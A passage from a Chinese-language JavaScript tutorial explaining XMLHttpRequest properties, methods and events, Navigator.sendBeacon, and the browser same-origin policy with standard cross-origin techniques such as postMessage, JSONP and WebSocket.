上面幾種型別之中,text型別適合大多數情況,而且直接處理文本也比較方便,document型別適合回傳 HTML / XML 檔案的情況,這意味著,對于那些打開 CORS 的網站,可以直接用 Ajax 抓取網頁,然后不用決議 HTML 字串,直接對抓取回來的資料進行 DOM 操作,blob型別適合讀取二進制資料,比如圖片檔案,
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'blob';
xhr.onload = function(e) {
if (this.status === 200) {
var blob = new Blob([xhr.response], {type: 'image/png'});
// 或者
var blob = xhr.response;
}
};
xhr.send();
如果將這個屬性設為ArrayBuffer,就可以按照陣列的方式處理二進制資料,
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/image.png', true);
xhr.responseType = 'arraybuffer';
xhr.onload = function(e) {
var uInt8Array = new Uint8Array(this.response);
for (var i = 0, len = uInt8Array.length; i < len; ++i) {
// var byte = uInt8Array[i];
}
};
xhr.send();
如果將這個屬性設為json,瀏覽器就會自動對回傳資料呼叫JSON.parse()方法,也就是說,從xhr.response屬性(注意,不是xhr.responseText屬性)得到的不是文本,而是一個 JSON 物件,
58.2.5 XMLHttpRequest.responseText
XMLHttpRequest.responseText屬性回傳從服務器接收到的字串,該屬性為只讀,只有 HTTP 請求完成接收以后,該屬性才會包含完整的資料,
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);
xhr.responseType = 'text';
xhr.onload = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
console.log(xhr.responseText);
}
};
xhr.send(null);
58.2.6 XMLHttpRequest.responseXML
XMLHttpRequest.responseXML屬性回傳從服務器接收到的 HTML 或 XML 檔案物件,該屬性為只讀,如果本次請求沒有成功,或者收到的資料不能被決議為 XML 或 HTML,該屬性等于null,
該屬性生效的前提是 HTTP 回應的Content-Type頭資訊等于text/xml或application/xml,這要求在發送請求前,XMLHttpRequest.responseType屬性要設為document,如果 HTTP 回應的Content-Type頭資訊不等于text/xml和application/xml,但是想從responseXML拿到資料(即把資料按照 DOM 格式決議),那么需要手動呼叫XMLHttpRequest.overrideMimeType()方法,強制進行 XML 決議,
該屬性得到的資料,是直接決議后的檔案 DOM 樹,
var xhr = new XMLHttpRequest();
xhr.open('GET', '/server', true);
xhr.responseType = 'document';
xhr.overrideMimeType('text/xml');
xhr.onload = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
console.log(xhr.responseXML);
}
};
xhr.send(null);
58.2.7 XMLHttpRequest.responseURL
XMLHttpRequest.responseURL屬性是字串,表示發送資料的服務器的網址,
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/test', true);
xhr.onload = function () {
// 回傳 http://example.com/test
console.log(xhr.responseURL);
};
xhr.send(null);
注意,這個屬性的值與open()方法指定的請求網址不一定相同,如果服務器端發生跳轉,這個屬性回傳最后實際回傳資料的網址,另外,如果原始 URL 包括錨點(fragment),該屬性會把錨點剝離,
58.2.8 XMLHttpRequest.status,XMLHttpRequest.statusText
XMLHttpRequest.status屬性回傳一個整數,表示服務器回應的 HTTP 狀態碼,一般來說,如果通信成功的話,這個狀態碼是200;如果服務器沒有回傳狀態碼,那么這個屬性默認是200,請求發出之前,該屬性為0,該屬性只讀,
- 200, OK,訪問正常
- 301, Moved Permanently,永久移動
- 302, Moved temporarily,暫時移動
- 304, Not Modified,未修改
- 307, Temporary Redirect,暫時重定向
- 401, Unauthorized,未授權
- 403, Forbidden,禁止訪問
- 404, Not Found,未發現指定網址
- 500, Internal Server Error,服務器發生錯誤
基本上,只有2xx和304的狀態碼,表示服務器回傳是正常狀態,
if (xhr.readyState === 4) {
if ( (xhr.status >= 200 && xhr.status < 300)
|| (xhr.status === 304) ) {
// 處理服務器的回傳資料
} else {
// 出錯
}
}
XMLHttpRequest.statusText屬性回傳一個字串,表示服務器發送的狀態提示,不同于status屬性,該屬性包含整個狀態資訊,比如“OK”和“Not Found”,在請求發送之前(即呼叫open()方法之前),該屬性的值是空字串;如果服務器沒有回傳狀態提示,該屬性的值默認為“OK”,該屬性為只讀屬性,
58.2.9 XMLHttpRequest.timeout,XMLHttpRequestEventTarget.ontimeout
XMLHttpRequest.timeout屬性回傳一個整數,表示多少毫秒后,如果請求仍然沒有得到結果,就會自動終止,如果該屬性等于0,就表示沒有時間限制,
XMLHttpRequestEventTarget.ontimeout屬性用于設定一個監聽函式,如果發生 timeout 事件,就會執行這個監聽函式,
下面是一個例子,
var xhr = new XMLHttpRequest();
var url = '/server';
xhr.ontimeout = function () {
console.error('The request for ' + url + ' timed out.');
};
xhr.onload = function() {
if (xhr.readyState === 4) {
if (xhr.status === 200) {
// 處理服務器回傳的資料
} else {
console.error(xhr.statusText);
}
}
};
xhr.open('GET', url, true);
// 指定 10 秒鐘超時
xhr.timeout = 10 * 1000;
xhr.send(null);
58.2.10 事件監聽屬性(on-**)
XMLHttpRequest 物件可以對以下事件指定監聽函式,
- XMLHttpRequest.onloadstart:loadstart 事件(HTTP 請求發出)的監聽函式
- XMLHttpRequest.onprogress:progress事件(正在發送和加載資料)的監聽函式
- XMLHttpRequest.onabort:abort 事件(請求中止,比如用戶呼叫了
abort()方法)的監聽函式 - XMLHttpRequest.onerror:error 事件(請求失敗)的監聽函式
- XMLHttpRequest.onload:load 事件(請求成功完成)的監聽函式
- XMLHttpRequest.ontimeout:timeout 事件(用戶指定的時限超過了,請求還未完成)的監聽函式
- XMLHttpRequest.onloadend:loadend 事件(請求完成,不管成功或失敗)的監聽函式
下面是一個例子,
xhr.onload = function() {
var responseText = xhr.responseText;
console.log(responseText);
// process the response.
};
xhr.onabort = function () {
console.log('The request was aborted');
};
xhr.onprogress = function (event) {
console.log(event.loaded);
console.log(event.total);
};
xhr.onerror = function() {
console.log('There was an error!');
};
progress事件的監聽函式有一個事件物件引數,該物件有三個屬性:loaded屬性回傳已經傳輸的資料量,total屬性回傳總的資料量,lengthComputable屬性回傳一個布林值,表示加載的進度是否可以計算,所有這些監聽函式里面,只有progress事件的監聽函式有引數,其他函式都沒有引數,
注意,如果發生網路錯誤(比如服務器無法連通),onerror事件無法獲取報錯資訊,也就是說,可能沒有錯誤物件,所以這樣只能顯示報錯的提示,
58.2.11 XMLHttpRequest.withCredentials
XMLHttpRequest.withCredentials屬性是一個布林值,表示跨域請求時,用戶資訊(比如 Cookie 和認證的 HTTP 頭資訊)是否會包含在請求之中,默認為false,即向example.com發出跨域請求時,不會發送example.com設定在本機上的 Cookie(如果有的話),
如果需要跨域 AJAX 請求發送 Cookie,需要withCredentials屬性設為true,注意,同源的請求不需要設定這個屬性,
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
為了讓這個屬性生效,服務器必須顯式回傳Access-Control-Allow-Credentials這個頭資訊,
Access-Control-Allow-Credentials: true
withCredentials屬性打開的話,跨域請求不僅會發送 Cookie,還會設定遠程主機指定的 Cookie,反之也成立,如果withCredentials屬性沒有打開,那么跨域的 AJAX 請求即使明確要求瀏覽器設定 Cookie,瀏覽器也會忽略,
注意,腳本總是遵守同源政策,無法從document.cookie或者 HTTP 回應的頭資訊之中,讀取跨域的 Cookie,withCredentials屬性不影響這一點,
58.2.12 XMLHttpRequest.upload
XMLHttpRequest 不僅可以發送請求,還可以發送檔案,這就是 AJAX 檔案上傳,發送檔案以后,通過XMLHttpRequest.upload屬性可以得到一個物件,通過觀察這個物件,可以得知上傳的進展,主要方法就是監聽這個物件的各種事件:loadstart、loadend、load、abort、error、progress、timeout,
假定網頁上有一個<progress>元素,
<progress min="0" max="100" value="0">0% complete</progress>
檔案上傳時,對upload屬性指定progress事件的監聽函式,即可獲得上傳的進度,
function upload(blobOrFile) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/server', true);
xhr.onload = function (e) {};
var progressBar = document.querySelector('progress');
xhr.upload.onprogress = function (e) {
if (e.lengthComputable) {
progressBar.value = (e.loaded / e.total) * 100;
// 兼容不支持 <progress> 元素的老式瀏覽器
progressBar.textContent = progressBar.value;
}
};
xhr.send(blobOrFile);
}
upload(new Blob(['hello world'], {type: 'text/plain'}));
58.3 XMLHttpRequest 的實體方法
58.3.1 XMLHttpRequest.open()
XMLHttpRequest.open()方法用于指定 HTTP 請求的引數,或者說初始化 XMLHttpRequest 實體物件,它一共可以接受五個引數,
void open(
string method,
string url,
optional boolean async,
optional string user,
optional string password
);
method:表示 HTTP 動詞方法,比如GET、POST、PUT、DELETE、HEAD等,url: 表示請求發送目標 URL,async: 布林值,表示請求是否為異步,默認為true,如果設為false,則send()方法只有等到收到服務器回傳了結果,才會進行下一步操作,該引數可選,由于同步 AJAX 請求會造成瀏覽器失去回應,許多瀏覽器已經禁止在主執行緒使用,只允許 Worker 里面使用,所以,這個引數輕易不應該設為false,user:表示用于認證的用戶名,默認為空字串,該引數可選,password:表示用于認證的密碼,默認為空字串,該引數可選,
注意,如果對使用過open()方法的 AJAX 請求,再次使用這個方法,等同于呼叫abort(),即終止請求,
下面發送 POST 請求的例子,
var xhr = new XMLHttpRequest();
xhr.open('POST', encodeURI('someURL'));
58.3.2 XMLHttpRequest.send()
XMLHttpRequest.send()方法用于實際發出 HTTP 請求,它的引數是可選的,如果不帶引數,就表示 HTTP 請求只有一個 URL,沒有資料體,典型例子就是 GET 請求;如果帶有引數,就表示除了頭資訊,還帶有包含具體資料的資訊體,典型例子就是 POST 請求,
下面是 GET 請求的例子,
var xhr = new XMLHttpRequest();
xhr.open('GET',
'http://www.example.com/?id=' + encodeURIComponent(id),
true
);
xhr.send(null);
上面代碼中,GET請求的引數,作為查詢字串附加在 URL 后面,
下面是發送 POST 請求的例子,
var xhr = new XMLHttpRequest();
var data = 'email='
+ encodeURIComponent(email)
+ '&password='
+ encodeURIComponent(password);
xhr.open('POST', 'http://www.example.com', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);
注意,所有 XMLHttpRequest 的監聽事件,都必須在send()方法呼叫之前設定,
send方法的引數就是發送的資料,多種格式的資料,都可以作為它的引數,
void send();
void send(ArrayBufferView data);
void send(Blob data);
void send(Document data);
void send(String data);
void send(FormData data);
如果send()發送 DOM 物件,在發送之前,資料會先被串行化,如果發送二進制資料,最好是發送ArrayBufferView或Blob物件,這使得通過 Ajax 上傳檔案成為可能,
下面是發送表單資料的例子,FormData物件可以用于構造表單資料,
var formData = new FormData();
formData.append('username', '張三');
formData.append('email', 'zhangsan@example.com');
formData.append('birthDate', 1940);
var xhr = new XMLHttpRequest();
xhr.open('POST', '/register');
xhr.send(formData);
上面代碼中,FormData物件構造了表單資料,然后使用send()方法發送,它的效果與發送下面的表單資料是一樣的,
<form id='registration' name='registration' action='/register'>
<input type='text' name='username' value='張三'>
<input type='email' name='email' value='zhangsan@example.com'>
<input type='number' name='birthDate' value='1940'>
<input type='submit' onclick='return sendForm(this.form);'>
</form>
下面的例子是使用FormData物件加工表單資料,然后再發送,
function sendForm(form) {
var formData = new FormData(form);
formData.append('csrf', 'e69a18d7db1286040586e6da1950128c');
var xhr = new XMLHttpRequest();
xhr.open('POST', form.action, true);
xhr.onload = function() {
// ...
};
xhr.send(formData);
return false;
}
var form = document.querySelector('#registration');
sendForm(form);
58.3.3 XMLHttpRequest.setRequestHeader()
XMLHttpRequest.setRequestHeader()方法用于設定瀏覽器發送的 HTTP 請求的頭資訊,該方法必須在open()之后、send()之前呼叫,如果該方法多次呼叫,設定同一個欄位,則每一次呼叫的值會被合并成一個單一的值發送,
該方法接受兩個引數,第一個引數是字串,表示頭資訊的欄位名,第二個引數是欄位值,
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('Content-Length', JSON.stringify(data).length);
xhr.send(JSON.stringify(data));
上面代碼首先設定頭資訊Content-Type,表示發送 JSON 格式的資料;然后設定Content-Length,表示資料長度;最后發送 JSON 資料,
58.3.4 XMLHttpRequest.overrideMimeType()
XMLHttpRequest.overrideMimeType()方法用來指定 MIME 型別,覆寫服務器回傳的真正的 MIME 型別,從而讓瀏覽器進行不一樣的處理,舉例來說,服務器回傳的資料型別是text/xml,由于種種原因瀏覽器決議不成功報錯,這時就拿不到資料了,為了拿到原始資料,我們可以把 MIME 型別改成text/plain,這樣瀏覽器就不會去自動決議,從而我們就可以拿到原始文本了,
xhr.overrideMimeType('text/plain')
注意,該方法必須在send()方法之前呼叫,
修改服務器回傳的資料型別,不是正常情況下應該采取的方法,如果希望服務器回傳指定的資料型別,可以用responseType屬性告訴服務器,就像下面的例子,只有在服務器無法回傳某種資料型別時,才使用overrideMimeType()方法,
var xhr = new XMLHttpRequest();
xhr.onload = function(e) {
var arraybuffer = xhr.response;
// ...
}
xhr.open('GET', url);
xhr.responseType = 'arraybuffer';
xhr.send();
58.3.5 XMLHttpRequest.getResponseHeader()
XMLHttpRequest.getResponseHeader()方法回傳 HTTP 頭資訊指定欄位的值,如果還沒有收到服務器回應或者指定欄位不存在,回傳null,該方法的引數不區分大小寫,
function getHeaderTime() {
console.log(this.getResponseHeader("Last-Modified"));
}
var xhr = new XMLHttpRequest();
xhr.open('HEAD', 'yourpage.html');
xhr.onload = getHeaderTime;
xhr.send();
如果有多個欄位同名,它們的值會被連接為一個字串,每個欄位之間使用“逗號+空格”分隔,
58.3.6 XMLHttpRequest.getAllResponseHeaders()
XMLHttpRequest.getAllResponseHeaders()方法回傳一個字串,表示服務器發來的所有 HTTP 頭資訊,格式為字串,每個頭資訊之間使用CRLF分隔(回車+換行),如果沒有收到服務器回應,該屬性為null,如果發生網路錯誤,該屬性為空字串,
var xhr = new XMLHttpRequest();
xhr.open('GET', 'foo.txt', true);
xhr.send();
xhr.onreadystatechange = function () {
if (this.readyState === 4) {
var headers = xhr.getAllResponseHeaders();
}
}
上面代碼用于獲取服務器回傳的所有頭資訊,它可能是下面這樣的字串,
date: Fri, 08 Dec 2017 21:04:30 GMT\r\n
content-encoding: gzip\r\n
x-content-type-options: nosniff\r\n
server: meinheld/0.6.1\r\n
x-frame-options: DENY\r\n
content-type: text/html; charset=utf-8\r\n
connection: keep-alive\r\n
strict-transport-security: max-age=63072000\r\n
vary: Cookie, Accept-Encoding\r\n
content-length: 6502\r\n
x-xss-protection: 1; mode=block\r\n
然后,對這個字串進行處理,
var arr = headers.trim().split(/[\r\n]+/);
var headerMap = {};
arr.forEach(function (line) {
var parts = line.split(': ');
var header = parts.shift();
var value = parts.join(': ');
headerMap[header] = value;
});
headerMap['content-length'] // "6502"
58.3.7 XMLHttpRequest.abort()
XMLHttpRequest.abort()方法用來終止已經發出的 HTTP 請求,呼叫這個方法以后,readyState屬性變為4,status屬性變為0,
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/page.php', true);
setTimeout(function () {
if (xhr) {
xhr.abort();
xhr = null;
}
}, 5000);
上面代碼在發出5秒之后,終止一個 AJAX 請求,
58.4 XMLHttpRequest 實體的事件
58.4.1 readyStateChange 事件
readyState屬性的值發生改變,就會觸發 readyStateChange 事件,
我們可以通過onReadyStateChange屬性,指定這個事件的監聽函式,對不同狀態進行不同處理,尤其是當狀態變為4的時候,表示通信成功,這時回呼函式就可以處理服務器傳送回來的資料,
58.4.2 progress 事件
上傳檔案時,XMLHttpRequest 實體物件本身和實體的upload屬性,都有一個progress事件,會不斷回傳上傳的進度,
var xhr = new XMLHttpRequest();
function updateProgress (oEvent) {
if (oEvent.lengthComputable) {
var percentComplete = oEvent.loaded / oEvent.total;
} else {
console.log('無法計算進展');
}
}
xhr.addEventListener('progress', updateProgress);
xhr.open();
58.4.3 load 事件、error 事件、abort 事件
load 事件表示服務器傳來的資料接收完畢,error 事件表示請求出錯,abort 事件表示請求被中斷(比如用戶取消請求),
var xhr = new XMLHttpRequest();
xhr.addEventListener('load', transferComplete);
xhr.addEventListener('error', transferFailed);
xhr.addEventListener('abort', transferCanceled);
xhr.open();
function transferComplete() {
console.log('資料接收完畢');
}
function transferFailed() {
console.log('資料接收出錯');
}
function transferCanceled() {
console.log('用戶取消接收');
}
58.4.4 loadend 事件
abort、load和error這三個事件,會伴隨一個loadend事件,表示請求結束,但不知道其是否成功,
xhr.addEventListener('loadend', loadEnd);
function loadEnd(e) {
console.log('請求結束,狀態未知');
}
58.4.5 timeout 事件
服務器超過指定時間還沒有回傳結果,就會觸發 timeout 事件,具體的例子參見timeout屬性一節,
58.5 Navigator.sendBeacon()
**用戶卸載網頁的時候,有時需要向服務器發一些資料,**很自然的做法是在unload事件或beforeunload事件的監聽函式里面,使用XMLHttpRequest物件發送資料,但是,這樣做不是很可靠,因為XMLHttpRequest物件是異步發送,很可能在它即將發送的時候,頁面已經卸載了,從而導致發送取消或者發送失敗,
解決方法就是unload事件里面,加一些很耗時的同步操作,這樣就能留出足夠的時間,保證異步 AJAX 能夠發送成功,
function log() {
let xhr = new XMLHttpRequest();
xhr.open('post', '/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('foo=bar');
}
window.addEventListener('unload', function(event) {
log();
// a time-consuming operation
for (let i = 1; i < 10000; i++) {
for (let m = 1; m < 10000; m++) { continue; }
}
});
上面代碼中,強制執行了一次雙重回圈,拖長了unload事件的執行時間,導致異步 AJAX 能夠發送成功,
類似的還可以使用setTimeout,下面是追蹤用戶點擊的例子,
// HTML 代碼如下
// <a id="target" href="https://baidu.com">click</a>
const clickTime = 350;
const theLink = document.getElementById('target');
function log() {
let xhr = new XMLHttpRequest();
xhr.open('post', '/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('foo=bar');
}
theLink.addEventListener('click', function (event) {
event.preventDefault();
log();
setTimeout(function () {
window.location.href = theLink.getAttribute('href');
}, clickTime);
});
上面代碼使用setTimeout,拖延了350毫秒,才讓頁面跳轉,因此使得異步 AJAX 有時間發出,
這些做法的共同問題是,卸載的時間被硬生生拖長了,后面頁面的加載被推遲了,用戶體驗不好,
為了解決這個問題,瀏覽器引入了Navigator.sendBeacon()方法,這個方法還是異步發出請求,但是請求與當前頁面執行緒脫鉤,作為瀏覽器行程的任務,因此可以保證會把資料發出去,不拖延卸載流程,
window.addEventListener('unload', logData, false);
function logData() {
navigator.sendBeacon('/log', analyticsData);
}
Navigator.sendBeacon方法接受兩個引數,第一個引數是目標服務器的 URL,第二個引數是所要發送的資料(可選),可以是任意型別(字串、表單物件、二進制物件等等),
navigator.sendBeacon(url, data)
這個方法的回傳值是一個布林值,成功發送資料為true,否則為false,
該方法發送資料的 HTTP 方法是 POST,可以跨域,類似于表單提交資料,它不能指定回呼函式,
下面是一個例子,
// HTML 代碼如下
// <body οnlοad="analytics('start')" οnunlοad="analytics('end')">
function analytics(state) {
if (!navigator.sendBeacon) return;
var URL = 'http://example.com/analytics';
var data = 'state=' + state + '&location=' + window.location;
navigator.sendBeacon(URL, data);
}
59. 同源限制
瀏覽器安全的基石是“同源政策”(same-origin policy),很多開發者都知道這一點,但了解得不全面,
59.1 概述
59.1.1 含義
1995年,同源政策由 Netscape 公司引入瀏覽器,目前,所有瀏覽器都實行這個政策,
最初,它的含義是指,A 網頁設定的 Cookie,B 網頁不能打開,除非這兩個網頁“同源”,所謂“同源”指的是“三個相同”,
- 協議相同
- 域名相同
- 埠相同(這點可以忽略,詳見下文)
舉例來說,http://www.example.com/dir/page.html這個網址,協議是http://,域名是www.example.com,埠是80(默認埠可以省略),它的同源情況如下,
http://www.example.com/dir2/other.html:同源http://example.com/dir/other.html:不同源(域名不同)http://v2.www.example.com/dir/other.html:不同源(域名不同)http://www.example.com:81/dir/other.html:不同源(埠不同)https://www.example.com/dir/page.html:不同源(協議不同)
注意,標準規定埠不同的網址不是同源(比如8000埠和8001埠不是同源),但是瀏覽器沒有遵守這條規定,實際上,同一個網域的不同埠,是可以互相讀取 Cookie 的,
59.1.2 目的
同源政策的目的,是為了保證用戶資訊的安全,防止惡意的網站竊取資料,
設想這樣一種情況:A 網站是一家銀行,用戶登錄以后,A 網站在用戶的機器上設定了一個 Cookie,包含了一些隱私資訊,用戶離開 A 網站以后,又去訪問 B 網站,如果沒有同源限制,B 網站可以讀取 A 網站的 Cookie,那么隱私就泄漏了,更可怕的是,Cookie 往往用來保存用戶的登錄狀態,如果用戶沒有退出登錄,其他網站就可以冒充用戶,為所欲為,因為瀏覽器同時還規定,提交表單不受同源政策的限制,
由此可見,同源政策是必需的,否則 Cookie 可以共享,互聯網就毫無安全可言了,
59.1.3 限制范圍
隨著互聯網的發展,同源政策越來越嚴格,目前,如果非同源,共有三種行為受到限制,
(1) 無法讀取非同源網頁的 Cookie、LocalStorage 和 IndexedDB,
(2) 無法接觸非同源網頁的 DOM,
(3) 無法向非同源地址發送 AJAX 請求(可以發送,但瀏覽器會拒絕接受回應),
另外,通過 JavaScript 腳本可以拿到其他視窗的window物件,如果是非同源的網頁,目前允許一個視窗可以接觸其他網頁的window物件的九個屬性和四個方法,
- window.closed
- window.frames
- window.length
- window.location
- window.opener
- window.parent
- window.self
- window.top
- window.window
- window.blur()
- window.close()
- window.focus()
- window.postMessage()
上面的九個屬性之中,只有window.location是可讀寫的,其他八個全部都是只讀,而且,即使是location物件,非同源的情況下,也只允許呼叫location.replace()方法和寫入location.href屬性,
雖然這些限制是必要的,但是有時很不方便,合理的用途也受到影響,下面介紹如何規避上面的限制,
59.2 Cookie
Cookie 是服務器寫入瀏覽器的一小段資訊,只有同源的網頁才能共享,如果兩個網頁一級域名相同,只是次級域名不同,瀏覽器允許通過設定document.domain共享 Cookie,
舉例來說,A 網頁的網址是http://w1.example.com/a.html,B 網頁的網址是http://w2.example.com/b.html,那么只要設定相同的document.domain,兩個網頁就可以共享 Cookie,因為瀏覽器通過document.domain屬性來檢查是否同源,
// 兩個網頁都需要設定
document.domain = 'example.com';
注意,A 和 B 兩個網頁都需要設定document.domain屬性,才能達到同源的目的,因為設定document.domain的同時,會把埠重置為null,因此如果只設定一個網頁的document.domain,會導致兩個網址的埠不同,還是達不到同源的目的,
現在,A 網頁通過腳本設定一個 Cookie,
document.cookie = "test1=hello";
B 網頁就可以讀到這個 Cookie,
var allCookie = document.cookie;
注意,這種方法只適用于 Cookie 和 iframe 視窗,LocalStorage 和 IndexedDB 無法通過這種方法,規避同源政策,而要使用下文介紹 PostMessage API,
另外,服務器也可以在設定 Cookie 的時候,指定 Cookie 的所屬域名為一級域名,比如.example.com,
Set-Cookie: key=value; domain=.example.com; path=/
這樣的話,二級域名和三級域名不用做任何設定,都可以讀取這個 Cookie,
59.3 iframe 和多視窗通信
iframe元素可以在當前網頁之中,嵌入其他網頁,每個iframe元素形成自己的視窗,即有自己的window物件,iframe視窗之中的腳本,可以獲得父視窗和子視窗,但是,只有在同源的情況下,父視窗和子視窗才能通信;如果跨域,就無法拿到對方的 DOM,
比如,父視窗運行下面的命令,如果iframe視窗不是同源,就會報錯,
document
.getElementById("myIFrame")
.contentWindow
.document
// Uncaught DOMException: Blocked a frame from accessing a cross-origin frame.
上面命令中,父視窗想獲取子視窗的 DOM,因為跨域導致報錯,
反之亦然,子視窗獲取主視窗的 DOM 也會報錯,
window.parent.document.body
// 報錯
這種情況不僅適用于iframe視窗,還適用于window.open方法打開的視窗,只要跨域,父視窗與子視窗之間就無法通信,
如果兩個視窗一級域名相同,只是二級域名不同,那么設定上一節介紹的document.domain屬性,就可以規避同源政策,拿到 DOM,
對于完全不同源的網站,目前有兩種方法,可以解決跨域視窗的通信問題,
- 片段識別符(fragment identifier)
- 跨檔案通信API(Cross-document messaging)
59.3.1 片段識別符 fragment identifier
片段識別符號(fragment identifier)指的是,URL 的#號后面的部分,比如http://example.com/x.html#fragment的#fragment,如果只是改變片段識別符號,頁面不會重新重繪,
父視窗可以把資訊,寫入子視窗的片段識別符號,
var src = originURL + '#' + data;
document.getElementById('myIFrame').src = src;
上面代碼中,父視窗把所要傳遞的資訊,寫入 iframe 視窗的片段識別符號,
子視窗通過監聽hashchange事件得到通知,
window.onhashchange = checkMessage;
function checkMessage() {
var message = window.location.hash;
// ...
}
同樣的,子視窗也可以改變父視窗的片段識別符號,
parent.location.href = target + '#' + hash;
59.3.2 window.postMessage()(message-.source .origin)
上面的這種方法屬于破解,HTML5 為了解決這個問題,引入了一個全新的API:跨檔案通信 API(Cross-document messaging),
這個 API 為window物件新增了一個window.postMessage方法,允許跨視窗通信,不論這兩個視窗是否同源,舉例來說,父視窗aaa.com向子視窗bbb.com發訊息,呼叫postMessage方法就可以了,
// 父視窗打開一個子視窗
var popup = window.open('http://bbb.com', 'title');
// 父視窗向子視窗發訊息
popup.postMessage('Hello World!', 'http://bbb.com');
postMessage方法的第一個引數是具體的資訊內容,第二個引數是接收訊息的視窗的源(origin),即“協議 + 域名 + 埠”,也可以設為*,表示不限制域名,向所有視窗發送,
子視窗向父視窗發送訊息的寫法類似,
// 子視窗向父視窗發訊息
window.opener.postMessage('Nice to see you', 'http://aaa.com');
父視窗和子視窗都可以通過message事件,監聽對方的訊息,
// 父視窗和子視窗都可以用下面的代碼,
// 監聽 message 訊息
window.addEventListener('message', function (e) {
console.log(e.data);
},false);
message事件的引數是事件物件event,提供以下三個屬性,
event.source:發送訊息的視窗event.origin: 訊息發向的網址(接收資訊的網址)event.data: 訊息內容
下面的例子是,子視窗通過event.source屬性參考父視窗,然后發送訊息,
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
event.source.postMessage('Nice to see you!', '*');
}
上面代碼有幾個地方需要注意,首先,receiveMessage函式里面沒有過濾資訊的來源,任意網址發來的資訊都會被處理,其次,postMessage方法中指定的目標視窗的網址是一個星號,表示該資訊可以向任意網址發送,通常來說,這兩種做法是不推薦的,因為不夠安全,可能會被惡意利用,
event.origin屬性可以過濾不是發給本視窗的訊息,(過濾后更安全)
window.addEventListener('message', receiveMessage);
function receiveMessage(event) {
if (event.origin !== 'http://aaa.com') return;
if (event.data === 'Hello World') {
event.source.postMessage('Hello', event.origin);
} else {
console.log(event.data);
}
}
59.3.3 LocalStorage
localStorage 和 sessionStorage 屬性允許在瀏覽器中存盤 key/value 對的資料,localStorage 用于長久保存整個網站的資料,保存的資料沒有過期時間,直到手動去洗掉,sessionStorage 用于臨時保存同一視窗(或標簽頁)的資料,在關閉視窗或標簽頁之后將會洗掉這些資料,
通過window.postMessage,讀寫其他視窗的 LocalStorage 也成為了可能,
下面是一個例子,主視窗寫入 iframe 子視窗的localStorage,
window.onmessage = function(e) {
if (e.origin !== 'http://bbb.com') {
return;
}
var payload = JSON.parse(e.data);
localStorage.setItem(payload.key, JSON.stringify(payload.data));
};
上面代碼中,子視窗將父視窗發來的訊息,寫入自己的 LocalStorage,
父視窗發送訊息的代碼如下,
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
win.postMessage(
JSON.stringify({key: 'storage', data: obj}),
'http://bbb.com'
);
加強版的子視窗接收訊息的代碼如下,
window.onmessage = function(e) {
if (e.origin !== 'http://bbb.com') return;
var payload = JSON.parse(e.data);
switch (payload.method) {
case 'set':
localStorage.setItem(payload.key, JSON.stringify(payload.data));
break;
case 'get':
var parent = window.parent;
var data = localStorage.getItem(payload.key);
parent.postMessage(data, 'http://aaa.com');
break;
case 'remove':
localStorage.removeItem(payload.key);
break;
}
};
加強版的父視窗發送訊息代碼如下,
var win = document.getElementsByTagName('iframe')[0].contentWindow;
var obj = { name: 'Jack' };
// 存入物件
win.postMessage(
JSON.stringify({key: 'storage', method: 'set', data: obj}),
'http://bbb.com'
);
// 讀取物件
win.postMessage(
JSON.stringify({key: 'storage', method: "get"}),
"*"
);
window.onmessage = function(e) {
if (e.origin != 'http://aaa.com') return;
console.log(JSON.parse(e.data).name);
};
59.4 AJAX
同源政策規定,AJAX 請求只能發給同源的網址,否則就報錯,
除了架設服務器代理(瀏覽器請求同源服務器,再由后者請求外部服務),有三種方法規避這個限制,
- JSONP
- WebSocket
- CORS
59.4.1 JSONP
JSONP 是服務器與客戶端跨源通信的常用方法,最大特點就是簡單易用,沒有兼容性問題,老式瀏覽器全部支持,服務端改造非常小,
它的做法如下,
第一步,網頁添加一個<script>元素,向服務器請求一個腳本,這不受同源政策限制,可以跨域請求,
<script src="http://api.foo.com?callback=bar"></script>
注意,請求的腳本網址有一個callback引數(?callback=bar),用來告訴服務器,客戶端的回呼函式名稱(bar),
第二步,服務器收到請求后,拼接一個字串,將 JSON 資料放在函式名里面,作為字串回傳(bar({...})),
第三步,客戶端會將服務器回傳的字串,作為代碼決議,因為瀏覽器認為,這是<script>標簽請求的腳本內容,這時,客戶端只要定義了bar()函式,就能在該函式體內,拿到服務器回傳的 JSON 資料,
下面看一個實體,首先,網頁動態插入<script>元素,由它向跨域網址發出請求,
function addScriptTag(src) {
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.src = src;
document.body.appendChild(script);
}
window.onload = function () {
addScriptTag('http://example.com/ip?callback=foo');
}
function foo(data) {
console.log('Your public IP address is: ' + data.ip);
};
上面代碼通過動態添加<script>元素,向服務器example.com發出請求,注意,該請求的查詢字串有一個callback引數,用來指定回呼函式的名字,這對于 JSONP 是必需的,
服務器收到這個請求以后,會將資料放在回呼函式的引數位置回傳,
foo({
'ip': '8.8.8.8'
});
由于<script>元素請求的腳本,直接作為代碼運行,這時,只要瀏覽器定義了foo函式,該函式就會立即呼叫,作為引數的 JSON 資料被視為 JavaScript 物件,而不是字串,因此避免了使用JSON.parse的步驟,
59.4.2 WebSocket
WebSocket 是一種通信協議,使用ws://(非加密)和wss://(加密)作為協議前綴,該協議不實行同源政策,只要服務器支持,就可以通過它進行跨源通信,
下面是一個例子,瀏覽器發出的 WebSocket 請求的頭資訊(摘自維基百科),
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
